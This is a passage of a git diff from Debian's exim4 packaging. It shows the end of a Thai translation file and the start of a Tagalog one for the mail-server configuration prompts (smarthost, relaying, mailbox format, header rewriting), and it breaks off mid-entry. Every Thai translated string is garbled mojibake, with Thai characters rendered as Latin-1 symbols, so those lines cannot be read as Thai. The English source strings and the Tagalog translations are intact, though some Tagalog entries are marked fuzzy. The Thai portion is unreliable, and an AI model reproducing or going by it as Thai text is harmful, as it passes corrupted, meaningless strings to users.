/usr/share/doc/exim4-base." +msgstr "" +"มีà¸à¸²à¸£à¸à¸ ิปรายà¸à¸¢à¹ˆà¸²à¸‡à¸¥à¸°à¹€à¸à¸µà¸¢à¸”เà¸à¸µà¹ˆà¸¢à¸§à¸à¸±à¸šà¸à¸²à¸£à¹ƒà¸Šà¹‰à¸„่าตั้งà¹à¸šà¸šà¹à¸¢à¸à¸ªà¹ˆà¸§à¸™à¹à¸¥à¸°à¹„ม่à¹à¸¢à¸à¸ªà¹ˆà¸§à¸™à¹ƒà¸™à¹à¸Ÿà¹‰à¸¡ README สำหรับ " +"Debian โดยเฉพาะใน /usr/share/doc/exim4-base" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "จะซ่à¸à¸™à¸Šà¸·à¹ˆà¸à¹€à¸¡à¸¥à¹ƒà¸™à¹€à¸¡à¸¥à¸‚าà¸à¸à¸à¸«à¸£à¸·à¸à¹„ม่?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"ข้à¸à¸¡à¸¹à¸¥à¸ªà¹ˆà¸§à¸™à¸«à¸±à¸§à¸‚à¸à¸‡à¹€à¸¡à¸¥à¸‚าà¸à¸à¸ สามารถเรียบเรียงใหม่ เพื่à¸à¹ƒà¸«à¹‰à¸”ูเหมืà¸à¸™à¸–ูà¸à¸ªà¹ˆà¸‡à¸à¸à¸à¸ˆà¸²à¸à¸£à¸°à¸šà¸šà¸à¸·à¹ˆà¸™à¹„ด้ " +"ถ้าเลืà¸à¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸à¸à¸™à¸µà¹‰ ค่า '${mailname}', 'localhost' à¹à¸¥à¸° '${dc_other_hostnames}' " +"ในข้à¸à¸¡à¸¹à¸¥à¸ªà¹ˆà¸§à¸™ From, Reply-To, Sender à¹à¸¥à¸° Return-Path จะถูà¸à¹€à¸£à¸µà¸¢à¸šà¹€à¸£à¸µà¸¢à¸‡à¹ƒà¸«à¸¡à¹ˆ" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "รูปà¹à¸šà¸š mbox ใน /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "รูปà¹à¸šà¸š Maildir ในไดเรà¸à¸—à¸à¸£à¸µà¸šà¹‰à¸²à¸™" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "วิธีà¸à¸²à¸£à¹à¸¢à¸à¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹ƒà¸™à¹€à¸„รื่à¸à¸‡:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"exim สามารถเà¸à¹‡à¸šà¹€à¸¡à¸¥à¸—ี่à¹à¸¢à¸à¸ªà¹ˆà¸‡à¹ƒà¸™à¹€à¸„รื่à¸à¸‡à¹„ด้ในหลายรูปà¹à¸šà¸š à¹à¸šà¸šà¸—ี่ใช้à¸à¸±à¸™à¸¡à¸²à¸à¸—ี่สุดคืภmbox à¹à¸¥à¸° " +"Maildir à¹à¸šà¸š mbox จะใช้à¹à¸Ÿà¹‰à¸¡à¹€à¸”ียวเà¸à¹‡à¸šà¹€à¸¡à¸¥à¸—ุà¸à¸‰à¸šà¸±à¸š โดยเà¸à¹‡à¸šà¹„ว้ที่ /var/mail/ ส่วนà¹à¸šà¸š Maildir " +"จะเà¸à¹‡à¸šà¹€à¸¡à¸¥à¹à¸•à¹ˆà¸¥à¸°à¸‰à¸šà¸±à¸šà¹à¸¢à¸à¹à¸Ÿà¹‰à¸¡à¸à¸±à¸™ โดยเà¸à¹‡à¸šà¹„ว้ที่ ~/Maildir/" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"สังเà¸à¸•à¸§à¹ˆà¸² เครื่à¸à¸‡à¸¡à¸·à¸à¸ˆà¸±à¸”à¸à¸²à¸£à¹€à¸¡à¸¥à¸ªà¹ˆà¸§à¸™à¹ƒà¸«à¸à¹ˆà¹ƒà¸™à¹€à¸”เบียน จะถืà¸à¸§à¹ˆà¸²à¸à¸²à¸£à¹à¸¢à¸à¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹ƒà¸™à¹€à¸„รื่à¸à¸‡à¹€à¸›à¹‡à¸™à¹à¸šà¸š mbox " +"เป็นค่าปà¸à¸•à¸´" + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "จะย้ายเมลà¸à¸²à¸à¸ªà¹ˆà¸‡à¸—ี่ตà¸à¸„้างจาภexim 3 ไปยัง spool ขà¸à¸‡ exim4 หรืà¸à¹„ม่?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "มีเมลตà¸à¸„้างà¸à¸¢à¸¹à¹ˆà¹ƒà¸™à¹„ดเรà¸à¸—à¸à¸£à¸µ spool ขà¸à¸‡ exim 3 (หรืภexim-tls 3) คืà¸à¸—ี่ /var/spool/" +#~ "exim/input/" + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "à¸à¸²à¸£à¹€à¸¥à¸·à¸à¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸à¸à¸™à¸µà¹‰ จะย้ายเมลเหล่านี้ไปที่ spool ขà¸à¸‡ exim4 (/var/spool/exim4/input/) " +#~ "เพื่à¸à¸ˆà¸°à¹„ด้ให้ exim4 จัดà¸à¸²à¸£à¹ƒà¸«à¹‰" + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "à¸à¸²à¸£à¸à¸£à¸°à¸—ำนี้มีผลทางเดียว à¸à¸¥à¹ˆà¸²à¸§à¸„ืภExim4 สามารถทำงานà¸à¸±à¸š spool ขà¸à¸‡ exim 3 ได้ " +#~ "à¹à¸•à¹ˆà¹ƒà¸™à¸—างà¸à¸¥à¸±à¸šà¸à¸±à¸™à¸—ำไม่ได้ ถ้าคุณไม่เลืà¸à¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸à¸à¸™à¸µà¹‰ คุณจะต้à¸à¸‡à¸¢à¹‰à¸²à¸¢à¹€à¸¡à¸¥à¸”ังà¸à¸¥à¹ˆà¸²à¸§à¹€à¸à¸‡ มิฉะนั้น " +#~ "จะไม่มีà¸à¸²à¸£à¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹€à¸«à¸¥à¹ˆà¸²à¸™à¸±à¹‰à¸™" + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "ถ้าปล่à¸à¸¢à¸§à¹ˆà¸²à¸‡à¹„ว้ Exim จะไม่รับ-ส่งเมลภายใน" + +#~ msgid "" +#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" +#~ "versa." +#~ msgstr "" +#~ "à¸à¸²à¸£à¸à¸£à¸°à¸—ำนี้มีผลทางเดียว à¸à¸¥à¹ˆà¸²à¸§à¸„ืภexim4 สามารถทำงานà¸à¸±à¸š spool ขà¸à¸‡ exim(v3) ได้ " +#~ "à¹à¸•à¹ˆà¹ƒà¸™à¸—างà¸à¸¥à¸±à¸šà¸à¸±à¸™à¸—ำไม่ได้" + +#~ msgid "" +#~ "So it is only advisable to move the messages only if it is not planned to " +#~ "go back to Exim(v3). If a rollback might be necessary, it is a better " +#~ "idea to refrain from moving the messages now but moving them manually at " +#~ "a later time." +#~ msgstr "" +#~ "จึงขà¸à¹à¸™à¸°à¸™à¸³à¸§à¹ˆà¸² ควรย้ายเมลเหล่านี้à¸à¹‡à¸•à¹ˆà¸à¹€à¸¡à¸·à¹ˆà¸à¸„ุณไม่มีà¹à¸œà¸™à¸—ี่จะà¸à¸¥à¸±à¸šà¹„ปใช้ Exim(v3) à¸à¸µà¸à¹€à¸—่านั้น " +#~ "ถ้าคุณยังคิดว่าจำเป็นต้à¸à¸‡à¸¢à¹‰à¸à¸™à¸à¸¥à¸±à¸šà¹„ปสู่ระบบเà¸à¹ˆà¸²à¸à¸¢à¸¹à¹ˆ à¸à¹‡à¸„วรงดย้ายเมลในตà¸à¸™à¸™à¸µà¹‰ " +#~ "à¹à¸¥à¹‰à¸§à¹„ปย้ายเà¸à¸‡à¹ƒà¸™à¸ ายหลัง" + +#~ msgid "" +#~ "Domains listed here need to be separated by semicolons. Wildcards may be " +#~ "used." +#~ msgstr "โดเมนที่ป้à¸à¸™à¸—ี่นี่ ควรคั่นด้วยà¸à¸±à¸’ภาค (semicolon) à¹à¸¥à¸°à¸ªà¸²à¸¡à¸²à¸£à¸–ใช้ wildcard ได้" + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "คุณควรย้ายเมลเหล่านี้à¸à¹‡à¸•à¹ˆà¸à¹€à¸¡à¸·à¹ˆà¸à¸„ุณไม่มีà¹à¸œà¸™à¸—ี่จะà¸à¸¥à¸±à¸šà¹„ปใช้ exim(v3) à¸à¸µà¸ มิฉะนั้น " +#~ "à¸à¹‡à¹„ม่ควรย้ายเมลดังà¸à¸¥à¹ˆà¸²à¸§à¹ƒà¸™à¸•à¸à¸™à¸™à¸µà¹‰ à¹à¸•à¹ˆà¸„วรไปย้ายเà¸à¸‡à¸«à¸¥à¸±à¸‡à¸ˆà¸²à¸à¸—ี่ได้à¹à¸›à¸¥à¸‡à¸„่าตั้งเรียบร้à¸à¸¢à¹à¸¥à¹‰à¸§" + +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "ถ้ามีโดเมนà¸à¸·à¹ˆà¸™à¸à¸µà¸ à¸à¸£à¸¸à¸“าป้à¸à¸™à¸—ี่นี่ โดยคั่นด้วยทวิภาค (colon) หรืà¸à¸›à¸¥à¹ˆà¸à¸¢à¸§à¹ˆà¸²à¸‡à¹„ว้ถ้าไม่มี" + +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "à¸à¸£à¸¸à¸“าป้à¸à¸™à¹‚ดเมนที่คุณจะยà¸à¸¡à¸ªà¹ˆà¸‡à¸—à¸à¸”เมลให้" + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "โดเมนดังà¸à¸¥à¹ˆà¸²à¸§ เป็นโดเมนที่คุณที่คุณได้เตรียมพร้à¸à¸¡à¸—ี่จะรับเมลจาà¸à¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸™à¹‡à¸• " +#~ "ไม่ต้à¸à¸‡à¸£à¸§à¸¡à¹‚ดเมนขà¸à¸‡à¹€à¸„รื่à¸à¸‡à¸„ุณเà¸à¸‡à¹ƒà¸™à¸™à¸µà¹‰" + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "เนื่à¸à¸‡à¸ˆà¸²à¸à¸„ุณได้เปิดใช้à¸à¸²à¸£à¸‹à¹ˆà¸à¸™à¸Šà¸·à¹ˆà¸à¹€à¸¡à¸¥à¸—้à¸à¸‡à¸–ิ่นในเมลขาà¸à¸à¸ " +#~ "คุณจึงต้à¸à¸‡à¸£à¸°à¸šà¸¸à¸Šà¸·à¹ˆà¸à¹‚ดเมนที่จะใช้สำหรับเมลจาà¸à¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¸—้à¸à¸‡à¸–ิ่น โดยปà¸à¸•à¸´à¹à¸¥à¹‰à¸§ จะใช้ชื่à¸à¹€à¸„รื่à¸à¸‡à¸—ี่คุณใช้รับเมล" + +#~ msgid "Where will your users read their mail?" +#~ msgstr "ผู้ใช้ขà¸à¸‡à¸„ุณจะà¸à¹ˆà¸²à¸™à¹€à¸¡à¸¥à¸—ี่ไหน?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "เครื่à¸à¸‡à¸—ี่จะจัดà¸à¸²à¸£à¹€à¸¡à¸¥à¸‚าà¸à¸à¸à¹ƒà¸«à¹‰à¸à¸±à¸šà¹€à¸„รื่à¸à¸‡à¸™à¸µà¹‰ (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "ป้à¸à¸™à¸Šà¸·à¹ˆà¸à¹‚ฮสต์ขà¸à¸‡à¹€à¸„รื่à¸à¸‡à¸—ี่จะใช้ส่งเมลขาà¸à¸à¸" + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "คุณควรเปิดใช้ความสามารถนี้ถ้าคุณà¸à¸³à¸¥à¸±à¸‡à¹ƒà¸Šà¹‰ Dial-on-Demand มิฉะนั้นà¸à¹‡à¸„วรปิด" + +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "เลืà¸à¸à¸Šà¸™à¸´à¸”ค่าตั้งที่ตรงà¸à¸±à¸šà¸„วามต้à¸à¸‡à¸à¸²à¸£à¸‚à¸à¸‡à¸„ุณ" + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "ถ้าคุณไม่มั่นใจ คุณà¸à¹‡à¹„ม่ควรใช้à¸à¸²à¸£à¹à¸¢à¸à¸„่าตั้ง" + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "à¹à¸›à¸¥à¸‡à¸„่าตั้ง Exim v3 ที่เขียนเà¸à¸‡à¸”้วยตัวเà¸à¸‡" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "จะตั้งค่า Exim4 ด้วยตัวเà¸à¸‡à¸«à¸£à¸·à¸à¹„ม่?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "คุณระบุว่าคุณมีค่าตั้ง Exim3 ที่เขียนเà¸à¸‡ ถ้าจะà¹à¸›à¸¥à¸‡à¸„่าตั้งดังà¸à¸¥à¹ˆà¸²à¸§à¸¡à¸²à¸¢à¸±à¸‡ Exim 4 " +#~ "คุณสามารถใช้คำสั่ง exim_convert4r4(8) หลังà¸à¸²à¸£à¸•à¸´à¸”ตั้งนี้ได้ à¸à¸£à¸¸à¸“าà¸à¹ˆà¸²à¸™ /usr/share/doc/" +#~ "exim4-base/examples/example.conf.gz à¹à¸¥à¸° /usr/share/doc/exim4-base/README." +#~ "Debian.gz ประà¸à¸à¸š" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "จนà¸à¸§à¹ˆà¸²à¸„ุณจะตั้งค่าระบบเมลเรียบร้à¸à¸¢ ระบบเมลขà¸à¸‡à¸„ุณจะไม่ทำงาน à¹à¸¥à¸°à¸£à¸±à¸šà¸ªà¹ˆà¸‡à¹€à¸¡à¸¥à¹„ม่ได้" + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "\"ชื่à¸à¹€à¸¡à¸¥\" ขà¸à¸‡à¸„ุณ คืà¸à¸ªà¹ˆà¸§à¸™à¸Šà¸·à¹ˆà¸à¹‚ฮสต์ขà¸à¸‡à¸—ี่à¸à¸¢à¸¹à¹ˆà¸—ี่จะà¹à¸ªà¸”งในเมลà¹à¸¥à¸°à¸‚่าวที่ส่งà¸à¸à¸à¹„ป " +#~ "(ตามหลังชื่à¸à¸œà¸¹à¹‰à¹ƒà¸Šà¹‰à¹à¸¥à¸°à¹€à¸„รื่à¸à¸‡à¸«à¸¡à¸²à¸¢ @) ถ้าไม่ถูà¸à¸‹à¹ˆà¸à¸™à¸«à¸£à¸·à¸à¸–ูà¸à¹€à¸£à¸µà¸¢à¸šà¹€à¸£à¸µà¸¢à¸‡à¹ƒà¸«à¸¡à¹ˆ" + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "à¸à¸£à¸¸à¸“าป้à¸à¸™à¹€à¸„รืà¸à¸‚่ายขà¸à¸‡à¹€à¸„รื่à¸à¸‡à¸—้à¸à¸‡à¸–ิ่นที่คุณจะส่งทà¸à¸”เมลให้" + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "รายà¸à¸²à¸£à¸™à¸µà¹‰ ควรรวมทุà¸à¹€à¸„รื่à¸à¸‡à¸—ี่จะใช้เราเป็น smarthost" + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "คุณต้à¸à¸‡à¹ƒà¸Šà¹‰à¸—วิภาคซ้à¸à¸™ (double colon) à¸à¸±à¸šà¸—ี่à¸à¸¢à¸¹à¹ˆ IPv6 (เช่น 5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "ป้à¸à¸™à¸£à¸²à¸¢à¸à¸²à¸£à¸—ี่à¸à¸¢à¸¹à¹ˆ IP ที่จะรà¸à¸£à¸±à¸šà¸à¸²à¸£à¹€à¸Šà¸·à¹ˆà¸à¸¡à¸•à¹ˆà¸ โดยคั่นด้วยทวิภาค (colon) คุณต้à¸à¸‡à¹ƒà¸Šà¹‰à¸—วิภาคซ้à¸à¸™ " +#~ "(double colon) à¸à¸±à¸šà¸—ี่à¸à¸¢à¸¹à¹ˆ IPv6 (เช่น 5f03::1200::836f::::)" + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "à¸à¸³à¸¥à¸±à¸‡à¸•à¸±à¹‰à¸‡à¸„่า Exim v4 (exim4-config)" diff --git a/debian/po/tl.po b/debian/po/tl.po new file mode 100644 index 0000000..974241f --- /dev/null +++ b/debian/po/tl.po @@ -0,0 +1,772 @@ +# Tagalog messages for exim +# Copyright (C) 2005 Software in the Public Interest, Inc. +# This file is distributed under the same license as exim. +# Itong tipunan ay ipinamamahagi sa parehong lisensya ng exim. +# Eric Pareja <xenos@upm.edu.ph>, 2005 +# +# This file is maintained by Eric Pareja <xenos@upm.edu.ph> +# Itong tipunan ay inaalagaan ni Eric Pareja <xenos@upm.edu.ph> +# +msgid "" +msgstr "" +"Project-Id-Version: exim\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2005-01-20 00:35+0800\n" +"Last-Translator: Eric Pareja <xenos@upm.edu.ph>\n" +"Language-Team: Tagalog <debian-tl@banwa.upm.edu.ph>\n" +"Language: tl\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "Tanggalin ang hindi naihatid na mga koreo sa spool directory?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"May mga koreo sa exim spool directory /var/spool/exim4/input na hindi pa " +"naihahatid. Maaari niyong panatilihin ang mga ito kung sakaling magpasiya " +"kayong mag-install ng Exim muli sa hinaharap, o maaari niyong piliin na " +"sila'y tanggalin." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"internet site; hinahatid at tinatanggap ang koreo direkta gamit ang SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "koreo pinapadala sa smarthost; tinatanggap via SMTP o fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "koreo pinapadala sa smarthost; walang lokal na koreo" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "lokal na paghatid lamang; hindi nakakabit sa network" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "walang pagsasaayos sa ngayon" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Pangkalahatang pagsasaayos ng koreo:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Piliin ang uri ng pagsasaayos na akma sa inyong pangangailangan." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Mga sistema na may dinamikong IP address, kasama dito ang mga sistemang " +"dialup, ay madalas na isinasaayos upang magpadala ng palabas na koreo sa " +"ibang makina, tinatawagang \"smart host\" para sa pagpapadala. Maaari niyong " +"piliin na tumanggap ng koreo sa ganitong uri ng sistema; o na walang lokal " +"na paghatid ng koreo, maliban sa koreo para sa root at postmaster." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Talagang iwanan ang sistemang pang-koreo na hindi nakaayos?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +#, fuzzy +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Hanggang maisaayos ang inyong sistemang pang-koreo, ito ay magiging sira at " +"hindi maaaring gamitin. Siyempre, maaari ninyo itong isaayos mamaya, ng mano-" +"mano o sa pamamagitan ng pagpapatakbo ng \"dpkg-reconfigure exim4-config\" " +"bilang root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Pangalan ng sistema pang-koreo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Ang pangalan na ito ay gagamitin din ng ibang mga programa; ito dapat ay " +"iisang buong pangalan ng domain (Fully Qualified Domain Name o FQDN) na " +"makikita kung saan nagmula ang mga koreo." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ang pangalan na ito ay hindi makikita sa mga linyang From: sa mga koreong " +"palabas kung inyong iaktibo ang pagsusulat-muli." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Ibang mga patutunguhan na kung saan ang koreo ay tatanggapin:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Ibigay ang mga pangalan ng domain na dapat ituring ng makina na ito na " +"kahulihang destinasyon, bukod sa lokal na pangalan (${fqdn}) at \"localhost" +"\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Ang default na pagproseso ng lahat ng mga domain ay pareho; kung nais niyong " +"magkaiba ang pagproseso ng magkaibang mga pangalan ng domain, dapat ninyong " +"baguhin ang mga tipunang pagsasaayos matapos nito." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Mga domain na ihahatid natin ang koreo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Mga makina na papayagang mag-relay:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +#, fuzzy +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Kung mayroon, ibigay sila dito, nakahiwalay ng mga tutuldok. Dapat niyong " +"gamitin ang anyong batayan na address/sakop (hal. 194.222.242.0/24)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nababasang domain name para sa mga lokal na gumagamit:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the 